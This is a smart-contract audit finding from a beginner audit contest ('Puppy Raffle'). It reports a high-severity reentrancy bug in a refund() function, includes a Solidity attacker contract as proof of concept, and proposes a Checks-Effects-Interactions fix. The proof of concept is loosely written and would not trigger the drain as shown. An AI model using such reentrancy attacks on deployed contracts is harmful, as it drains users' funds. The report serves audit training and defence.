First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy Vulnerability In refund() function

charalab0ts

Summary

The PuppyRaffle::refund() function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern

Vulnerability Details

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
payable(msg.sender).sendValue(entranceFee);
​
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated.

Impact

If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users.

PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies:
- PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92)
- PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117)
- PuppyRaffle.players (src/PuppyRaffle.sol#23)
- PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105)
- PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154)

POC

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
​
import "./PuppyRaffle.sol";
​
contract AttackContract {
PuppyRaffle public puppyRaffle;
uint256 public receivedEther;
​
constructor(PuppyRaffle _puppyRaffle) {
puppyRaffle = _puppyRaffle;
}
​
function attack() public payable {
require(msg.value > 0);
​
// Create a dynamic array and push the sender's address
address[] memory players = new address[](1);
players[0] = address(this);
​
puppyRaffle.enterRaffle{value: msg.value}(players);
}
​
fallback() external payable {
if (address(puppyRaffle).balance >= msg.value) {
receivedEther += msg.value;
​
// Find the index of the sender's address
uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this));
​
if (playerIndex > 0) {
// Refund the sender if they are in the raffle
puppyRaffle.refund(playerIndex);
}
}
}
}

we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state.

Tools Used

Manual Review

Recommendations

To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether.

Here's how you can modify the refund function:

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
// Update the state before sending Ether
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
​
// Now it's safe to send Ether
(bool success, ) = payable(msg.sender).call{value: entranceFee}("");
require(success, "PuppyRaffle: Failed to refund");
​
​
}

This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Updates

Lead Judging Commences

patrickalphac Lead Judge
about 2 years ago
Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

ezysnippet Auditor
almost 2 years ago

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!